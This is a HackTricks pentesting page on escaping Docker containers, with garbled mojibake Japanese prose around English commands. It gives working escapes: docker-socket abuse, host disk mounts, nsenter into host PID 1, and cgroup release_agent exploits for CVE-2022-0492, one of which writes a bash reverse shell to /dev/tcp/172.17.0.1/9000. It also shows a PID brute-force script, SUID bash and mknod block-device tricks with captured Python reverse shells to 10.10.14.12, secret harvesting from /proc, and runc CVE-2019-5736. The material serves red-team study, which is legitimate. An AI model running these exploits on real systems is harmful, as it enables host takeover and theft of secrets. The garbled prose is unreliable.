Docker Breakout / Privilege Escalation
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
èªååæãšãšã¹ã±ãŒã
- linpeas: ã³ã³ãããåæããããšãã§ããŸã
- CDK: ãã®ããŒã«ã¯ãããªããããã³ã³ãããåæããèªåçã«ãšã¹ã±ãŒãã詊ã¿ãã®ã«éåžžã«äŸ¿å©ã§ã
- amicontained: ã³ã³ãããæã€æš©éãååŸãããããããšã¹ã±ãŒãããæ¹æ³ãèŠã€ããã®ã«åœ¹ç«ã€ããŒã«
- deepce: ã³ã³ããããåæãããšã¹ã±ãŒãããããã®ããŒã«
- grype: ç»åã«ã€ã³ã¹ããŒã«ãããŠãããœãããŠã§ã¢ã«å«ãŸããCVEãååŸããŸã
ããŠã³ããããDockerãœã±ãããšã¹ã±ãŒã
ããäœããã®çç±ã§dockerãœã±ãããã³ã³ããå
ã«ããŠã³ããããŠããããšããããã°ããããããšã¹ã±ãŒãããããšãã§ããŸãã
ããã¯éåžžãäœããã®çç±ã§ã¢ã¯ã·ã§ã³ãå®è¡ããããã«dockerããŒã¢ã³ã«æ¥ç¶ããå¿
èŠãããdockerã³ã³ããã§çºçããŸãã
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
ãã®å Žåãéåžžã®dockerã³ãã³ãã䜿çšããŠdockerããŒã¢ã³ãšéä¿¡ã§ããŸã:
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
Tip
docker socketãäºæããªãå Žæã«ããå Žåã§ãã**
dockerã³ãã³ãã䜿çšããŠããã©ã¡ãŒã¿-H unix:///path/to/docker.sock**ã§éä¿¡ã§ããŸãã
DockerããŒã¢ã³ã¯ãããŒãã§ãªãã¹ã³ããŠããå ŽåããããŸãïŒããã©ã«ãã¯2375ã2376ïŒ ãŸãã¯ãSystemdããŒã¹ã®ã·ã¹ãã ã§ã¯ãSystemdãœã±ããfd://ãä»ããŠDockerããŒã¢ã³ãšéä¿¡ã§ããŸãã
Tip
ããã«ãä»ã®é«ã¬ãã«ã©ã³ã¿ã€ã ã®ã©ã³ã¿ã€ã ãœã±ããã«ã泚æããŠãã ããïŒ
- dockershim:
unix:///var/run/dockershim.sock- containerd:
unix:///run/containerd/containerd.sock- cri-o:
unix:///var/run/crio/crio.sock- frakti:
unix:///var/run/frakti.sock- rktlet:
unix:///var/run/rktlet.sock- âŠ
Capabilities Abuse Escape
ã³ã³ããã®èœåã確èªããå¿
èŠããããŸãã以äžã®ãããããæã£ãŠããå Žåãããããè±åºã§ããå¯èœæ§ããããŸãïŒCAP_SYS_ADMINãCAP_SYS_PTRACEãCAP_SYS_MODULEãDAC_READ_SEARCHãDAC_OVERRIDEãCAP_SYS_RAWIOãCAP_SYSLOGãCAP_NET_RAWãCAP_NET_ADMIN
çŸåšã®ã³ã³ããã®èœåã¯ãåè¿°ã®èªåããŒã«ã䜿çšããããæ¬¡ã®æ¹æ³ã§ç¢ºèªã§ããŸãïŒ
capsh --print
以äžã®ããŒãžã§ã¯ãLinuxã®èœåã«ã€ããŠè©³ããåŠã³ããããæªçšããŠç¹æš©ãéãããææ Œããããããæ¹æ³ãåŠã¶ããšãã§ããŸãïŒ
ç¹æš©ã³ã³ããããã®è±åº
ç¹æš©ã³ã³ããã¯ããã©ã° --privileged ã䜿çšããããç¹å®ã®é²åŸ¡ãç¡å¹ã«ããããšã§äœæã§ããŸãïŒ
--cap-add=ALL--security-opt apparmor=unconfined--security-opt seccomp=unconfined--security-opt label:disable--pid=host--userns=host--uts=host--cgroupns=hostMount /dev
--privileged ãã©ã°ã¯ã³ã³ããã®ã»ãã¥ãªãã£ã倧å¹
ã«äœäžãããå¶éã®ãªãããã€ã¹ã¢ã¯ã»ã¹ãæäŸããããã€ãã®ä¿è·ãåé¿ããŸãã詳现ãªå
èš³ã«ã€ããŠã¯ã--privileged ã®å®å
šãªåœ±é¿ã«é¢ããããã¥ã¡ã³ããåç
§ããŠãã ããã
ç¹æš© + hostPID
ãããã®æš©éã䜿çšãããšãåã«ãã¹ãã§ã«ãŒããšããŠå®è¡ãããŠããããã»ã¹ã®åå空éã«ç§»åããããšãã§ããŸããäŸãã°ãinit (pid:1) ã«å¯ŸããŠã次ã®ã³ãã³ããå®è¡ããŸãïŒnsenter --target 1 --mount --uts --ipc --net --pid -- bash
ã³ã³ããå ã§æ¬¡ã®ããã«ãã¹ãããŠãã ããïŒ
docker run --rm -it --pid=host --privileged ubuntu bash
ç¹æš©
ç¹æš©ãã©ã°ã䜿çšããã ãã§ããã¹ãã®ãã£ã¹ã¯ã«ã¢ã¯ã»ã¹ããããrelease_agentãä»ã®ãšã¹ã±ãŒããæªçšããŠãšã¹ã±ãŒãã詊ã¿ããããããšãã§ããŸãã
次ã®ãã€ãã¹ãã³ã³ããã§å®è¡ããŠãã¹ãããŠãã ãã:
docker run --rm -it --privileged ubuntu bash
ãã£ã¹ã¯ã®ããŠã³ã - Poc1
é©åã«æ§æãããdockerã³ã³ããã§ã¯ãfdisk -lã®ãããªã³ãã³ãã¯èš±å¯ãããŸããããããã--privilegedãŸãã¯--device=/dev/sda1ã®ãã©ã°ãæå®ããã誀ã£ãæ§æã®dockerã³ãã³ãã§ã¯ããã¹ããã©ã€ããèŠãããã®æš©éãååŸããããšãå¯èœã§ãã

ãããã£ãŠããã¹ããã·ã³ãä¹ã£åãããšã¯ç°¡åã§ãïŒ
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
ãããŠãããã§ïŒãã¹ãã®ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸããããã㯠/mnt/hola ãã©ã«ããŒã«ããŠã³ããããŠããŸãã
ãã£ã¹ã¯ã®ããŠã³ã - Poc2
ã³ã³ããå ã§ãæ»æè ã¯ã¯ã©ã¹ã¿ãŒã«ãã£ãŠäœæãããæžã蟌ã¿å¯èœãª hostPath ããªã¥ãŒã ãä»ããŠãåºç€ãšãªããã¹ã OS ãžã®ãããªãã¢ã¯ã»ã¹ã詊ã¿ããããããŸããã以äžã¯ããã®æ»æè ãã¯ã¿ãŒãå©çšã§ãããã©ããã確èªããããã«ã³ã³ããå ã§ãã§ãã¯ã§ããäžè¬çãªé ç®ã§ãïŒ
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1
# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
ç¹æš©ãšã¹ã±ãŒã æ¢åã® release_agent ãæªçšãã (cve-2022-0492) - PoC1
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC
# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent
# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
ç¹æš©ãšã¹ã±ãŒã created release_agent ã®æªçš (cve-2022-0492) - PoC2
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Docker release_agent cgroups escape
ç¹æš©ãšã¹ã±ãŒã release_agentãçžå¯Ÿãã¹ãç¥ããã«æªçšãã - PoC3
åã®ãšã¯ã¹ããã€ãã§ã¯ããã¹ãã®ãã¡ã€ã«ã·ã¹ãã å ã®ã³ã³ããã®çµ¶å¯Ÿãã¹ãé瀺ãããŸããããããããã¯åžžã«åœãŠã¯ãŸãããã§ã¯ãããŸããããã¹ãå ã®ã³ã³ããã®çµ¶å¯Ÿãã¹ãããããªãå Žåã¯ããã®æè¡ã䜿çšã§ããŸãïŒ
release_agent exploit - Relative Paths to PIDs
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
ç¹æš©ã³ã³ããå ã§PoCãå®è¡ãããšã次ã®ãããªåºåãåŸãããã¯ãã§ãïŒ
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
ç¹æš©ãšã¹ã±ãŒãïŒã»ã³ã·ãã£ãããŠã³ãã®æªçš
ããŠã³ããããå¯èœæ§ã®ãããã¡ã€ã«ãããã€ãããããããã¯åºç€ãšãªããã¹ãã«é¢ããæ
å ±ãæäŸããŸããäžã«ã¯ãäœããçºçãããšãã«ãã¹ãã«ãã£ãŠå®è¡ãããã¹ãäœãã瀺ããã®ããããŸãïŒããã«ããæ»æè
ã¯ã³ã³ãããããšã¹ã±ãŒãããããšãå¯èœã«ãªããŸãïŒã
ãããã®ãã¡ã€ã«ã®æªçšã«ããã以äžã®ããšãå¯èœã«ãªãå ŽåããããŸãïŒ
- release_agentïŒä»¥åã«èª¬ææžã¿ïŒ
- binfmt_misc
- core_pattern
- uevent_helper
- modprobe
ãã ãããã®ããŒãžã§ç¢ºèªãã¹ãä»ã®ã»ã³ã·ãã£ããã¡ã€ã«ãèŠã€ããããšãã§ããŸãïŒ
ä»»æã®ããŠã³ã
ããã€ãã®ç¶æ³ã§ã¯ãã³ã³ããããã¹ãããããã€ãã®ããªã¥ãŒã ãããŠã³ãããŠããããšãããããŸãããã®ããªã¥ãŒã ãæ£ããæ§æãããŠããªãå Žåãã»ã³ã·ãã£ãããŒã¿ã«ã¢ã¯ã»ã¹/倿Žããããšãã§ãããããããŸããïŒç§å¯æ å ±ãèªã¿åã£ãããsshã®authorized_keysã倿ŽãããâŠ
docker run --rm -it -v /:/host ubuntu bash
å¥ã®è峿·±ãäŸã¯ãã®ããã°ã«èŠããããã¹ãã®/usr/bin/ããã³/bin/ãã©ã«ããŒãã³ã³ããå
ã«ããŠã³ããããŠãããããã³ã³ããã®ã«ãŒããŠãŒã¶ãŒããããã®ãã©ã«ããŒå
ã®ãã€ããªã倿Žã§ããããšã瀺ãããŠããŸãããããã£ãŠãcronãžã§ããããããã®ãã€ããªã䜿çšããŠããå ŽåãäŸãã°/etc/cron.d/popularity-contestã®ããã«ãcronãžã§ãã«ãã£ãŠäœ¿çšããããã€ããªã倿Žããããšã§ã³ã³ããããè±åºããããšãã§ããŸãã
2ã€ã®ã·ã§ã«ãšãã¹ãããŠã³ãã䜿çšããç¹æš©ææ Œ
ãã¹ãããããŠã³ãããããã©ã«ããŒãæã€ã³ã³ããå
ã®rootãšããŠã¢ã¯ã»ã¹ããããéç¹æš©ãŠãŒã¶ãŒãšããŠãã¹ãã«è±åºããããŠã³ãããããã©ã«ããŒã«å¯Ÿããèªã¿åãã¢ã¯ã»ã¹ãããå Žåã
ã³ã³ããå
ã®ããŠã³ãããããã©ã«ããŒã«bash suidãã¡ã€ã«ãäœæãããã¹ãããå®è¡ããŠç¹æš©ææ Œãè¡ãããšãã§ããŸãã
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
ç¹æš©ææ Œãš2ã€ã®ã·ã§ã«
ã³ã³ããå
ã§rootãšããŠã¢ã¯ã»ã¹ã§ããéç¹æš©ãŠãŒã¶ãŒãšããŠãã¹ãã«ãšã¹ã±ãŒãããå Žåãã³ã³ããå
ã§MKNODã®æš©éãããéãïŒããã©ã«ãã§æã£ãŠããŸãïŒãäž¡æ¹ã®ã·ã§ã«ãå©çšããŠãã¹ãå
ã§ã®ç¹æš©ææ Œãè¡ãããšãã§ããŸãïŒè©³çްã¯ãã®æçš¿ãåç
§ïŒã
ãã®æš©éãæã€ããšã§ãã³ã³ããå
ã®rootãŠãŒã¶ãŒã¯ãããã¯ããã€ã¹ãã¡ã€ã«ãäœæããããšãèš±å¯ãããŸããããã€ã¹ãã¡ã€ã«ã¯ãåºç€ãšãªãããŒããŠã§ã¢ãã«ãŒãã«ã¢ãžã¥ãŒã«ã«ã¢ã¯ã»ã¹ããããã«äœ¿çšãããç¹å¥ãªãã¡ã€ã«ã§ããäŸãã°ã/dev/sdaã®ãããã¯ããã€ã¹ãã¡ã€ã«ã¯ãã·ã¹ãã ãã£ã¹ã¯äžã®çããŒã¿ãèªã¿åãããã®ã¢ã¯ã»ã¹ãæäŸããŸãã
Dockerã¯ãã³ã³ããå ã§ã®ãããã¯ããã€ã¹ã®èª€çšãé²ãããã«ããããã¯ããã€ã¹ã®èªã¿æžãæäœããããã¯ããcgroupããªã·ãŒã匷å¶ããŠããŸããããã«ããããããããããã¯ããã€ã¹ãã³ã³ããå ã§äœæããããšãããã¯**/proc/PID/root/**ãã£ã¬ã¯ããªãä»ããŠã³ã³ããã®å€éšããã¢ã¯ã»ã¹å¯èœã«ãªããŸãããã®ã¢ã¯ã»ã¹ã«ã¯ãããã»ã¹ã®ææè ãã³ã³ããå å€ã§åãã§ããå¿ èŠããããŸãã
æªçšã®äŸã¯ããã®æžã蟌ã¿ããã®ãã®ã§ãïŒ
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda
# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host
# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
ãã¹ãã®ããã»ã¹ã«ã¢ã¯ã»ã¹ã§ããå Žåããã®ããã»ã¹ã«ä¿åãããŠããå€ãã®æ©å¯æ å ±ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãããã¹ãã©ããå®è¡ããŠãã ããïŒ
docker run --rm -it --pid=host ubuntu bash
äŸãã°ãps auxnã®ãããªã³ãã³ãã䜿çšããŠããã»ã¹ããªã¹ãããã³ãã³ãå
ã®æ©å¯æ
å ±ãæ€çŽ¢ããããšãã§ããŸãã
次ã«ã/proc/å ã®ãã¹ãã®åããã»ã¹ã«ã¢ã¯ã»ã¹ã§ãããããenvã·ãŒã¯ã¬ãããçãããšãã§ããŸãã
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
ä»ã®ããã»ã¹ã®ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ã«ã¢ã¯ã»ã¹ããŠããªãŒãã³ããŠãããã¡ã€ã«ãèªã¿åãããšãã§ããŸãã
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
ããã»ã¹ãçµäºãããŠDoSãåŒãèµ·ããããšãã§ããŸãã
Warning
ããã³ã³ããã®å€éšã§ããã»ã¹ã«å¯ŸããŠç¹æš©ã¢ã¯ã»ã¹ãæã£ãŠããå Žåã
nsenter --target <pid> --allãnsenter --target <pid> --mount --net --pid --cgroupã®ãããªã³ãã³ããå®è¡ããŠããã®ããã»ã¹ãšåãnså¶éïŒã§ããã°ãªãïŒã§ã·ã§ã«ãå®è¡ããããšãã§ããŸãã
hostNetwork
docker run --rm -it --network=host ubuntu bash
ã³ã³ãããDocker ãã¹ããããã¯ãŒãã³ã°ãã©ã€ããŒïŒ--network=hostïŒ ã§æ§æãããŠããå Žåããã®ã³ã³ããã®ãããã¯ãŒã¯ã¹ã¿ãã¯ã¯Dockerãã¹ãããéé¢ãããŠãããïŒã³ã³ããã¯ãã¹ãã®ãããã¯ãŒãã³ã°ããŒã ã¹ããŒã¹ãå
±æããŸãïŒãã³ã³ããã«ã¯ç¬èªã®IPã¢ãã¬ã¹ãå²ãåœãŠãããŸãããèšãæããã°ãã³ã³ããã¯ãã¹ãŠã®ãµãŒãã¹ããã¹ãã®IPã«çŽæ¥ãã€ã³ãããŸããããã«ãã³ã³ããã¯ãã¹ããéåä¿¡ããŠãããã¹ãŠã®ãããã¯ãŒã¯ãã©ãã£ãã¯ãååããããšãã§ããŸããå
±æã€ã³ã¿ãŒãã§ãŒã¹ tcpdump -i eth0 ã䜿çšããŸãã
äŸãã°ãããã䜿çšããŠãã¹ããšã¡ã¿ããŒã¿ã€ã³ã¹ã¿ã³ã¹éã®ãã©ãã£ãã¯ãååããããã«ã¯åœè£ ããããšãã§ããŸãã
以äžã®äŸã®ããã«ïŒ
- Writeup: How to contact Google SRE: Dropping a shell in cloud SQL
- Metadata service MITM allows root privilege escalation (EKS / GKE)
ãã¹ãå ã®localhostã«ãã€ã³ãããããããã¯ãŒã¯ãµãŒãã¹ã«ãã¢ã¯ã»ã¹ã§ããããã«ãªããããã«ã¯ããŒãã®ã¡ã¿ããŒã¿æš©éïŒã³ã³ãããã¢ã¯ã»ã¹ã§ãããã®ãšã¯ç°ãªãå ŽåããããŸãïŒã«ãã¢ã¯ã»ã¹ã§ããŸãã
hostIPC
docker run --rm -it --ipc=host ubuntu bash
hostIPC=trueãèšå®ãããšããã¹ãã®ããã»ã¹ééä¿¡ïŒIPCïŒãªãœãŒã¹ãäŸãã°/dev/shmã®å
±æã¡ã¢ãªã«ã¢ã¯ã»ã¹ã§ããŸããããã«ãããä»ã®ãã¹ãããããããã»ã¹ã䜿çšããŠããåãIPCãªãœãŒã¹ã«å¯ŸããŠèªã¿æžããå¯èœã«ãªããŸãããããã®IPCã¡ã«ããºã ãããã«èª¿æ»ããã«ã¯ãipcsã䜿çšããŠãã ããã
- /dev/shmãèª¿æ» - ãã®å
±æã¡ã¢ãªã®å Žæã«ãããã¡ã€ã«ãæ¢ããŸã:
ls -la /dev/shm - æ¢åã®IPCæœèšãèª¿æ» â
/usr/bin/ipcsã䜿çšããŠã䜿çšäžã®IPCæœèšãããã確èªã§ããŸããæ¬¡ã®ã³ãã³ãã§ç¢ºèªããŠãã ãã:ipcs -a
æš©éãå埩ãã
ããã·ã¹ãã ã³ãŒã«**unshare**ãçŠæ¢ãããŠããªããã°ã次ã®ã³ãã³ããå®è¡ããŠãã¹ãŠã®æš©éãå埩ã§ããŸã:
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
ãŠãŒã¶ãŒåå空éã®ã·ã³ããªãã¯ãªã³ã¯ãå©çšããæªçš
æçš¿ã§èª¬æãããŠãã2çªç®ã®æè¡ã¯ãhttps://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ ã«ç€ºãããŠããããŠãŒã¶ãŒåå空éã䜿çšããŠãã€ã³ãããŠã³ããæªçšãããã¹ãå ã®ãã¡ã€ã«ã«åœ±é¿ãäžããæ¹æ³ïŒãã®ç¹å®ã®ã±ãŒã¹ã§ã¯ããã¡ã€ã«ãåé€ããïŒã瀺ããŠããŸãã
CVE
Runcã®èåŒ±æ§ (CVE-2019-5736)
docker execãrootãšããŠå®è¡ã§ããå ŽåïŒããããsudoã䜿çšããŠïŒãCVE-2019-5736ãæªçšããŠã³ã³ãããããšã¹ã±ãŒãããç¹æš©ãææ ŒãããããšããŸãïŒãšã¯ã¹ããã€ãã¯ãã¡ãïŒããã®æè¡ã¯åºæ¬çã«ãã³ã³ãããããã¹ãã® /bin/sh ãã€ããªãäžæžããããããdocker execãå®è¡ãã誰ãããã€ããŒããããªã¬ãŒããå¯èœæ§ããããŸãã
ãã€ããŒããé©å®å€æŽããgo build main.goã§main.goããã«ãããŸããçæããããã€ããªã¯ãå®è¡ã®ããã«dockerã³ã³ããã«é
眮ããå¿
èŠããããŸãã
å®è¡æã«[+] Overwritten /bin/sh successfullyãšè¡šç€ºããããããã¹ããã·ã³ãã以äžãå®è¡ããå¿
èŠããããŸãïŒ
docker exec -it <container-name> /bin/sh
ããã«ãããmain.goãã¡ã€ã«ã«ååšãããã€ããŒããããªã¬ãŒãããŸãã
詳现ã«ã€ããŠã¯ãhttps://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.htmlãã芧ãã ããã
Tip
ã³ã³ãããè匱ã§ããå¯èœæ§ã®ããä»ã®CVEããããŸãããªã¹ãã¯https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-listã§èŠã€ããããšãã§ããŸãã
Dockerã«ã¹ã¿ã ãšã¹ã±ãŒã
Dockerãšã¹ã±ãŒããµãŒãã§ã¹
- åå空é: ããã»ã¹ã¯åå空éãä»ããŠä»ã®ããã»ã¹ããå®å
šã«åé¢ãããã¹ãã§ãããããã©ã«ãã§ã¯IPCãUnixãœã±ããããããã¯ãŒã¯ãµãŒãã¹ãD-Busãä»ã®ããã»ã¹ã®
/procãä»ããŠéä¿¡ã§ããŸããã - ã«ãŒããŠãŒã¶ãŒ: ããã©ã«ãã§ã¯ãããã»ã¹ãå®è¡ããŠãããŠãŒã¶ãŒã¯ã«ãŒããŠãŒã¶ãŒã§ãïŒãã ãããã®ç¹æš©ã¯å¶éãããŠããŸãïŒã
- èœå: Dockerã¯ä»¥äžã®èœåãæ®ããŸã:
cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep - ã·ã¹ãã ã³ãŒã«: ãããã¯ã«ãŒããŠãŒã¶ãŒãåŒã³åºãããšãã§ããªãã·ã¹ãã ã³ãŒã«ã§ãïŒèœåãäžè¶³ããŠãããã + SeccompïŒãä»ã®ã·ã¹ãã ã³ãŒã«ã¯ãšã¹ã±ãŒãã詊ã¿ãããã«äœ¿çšãããå¯èœæ§ããããŸãã
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the path of the containers filesystem inside the host
- You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
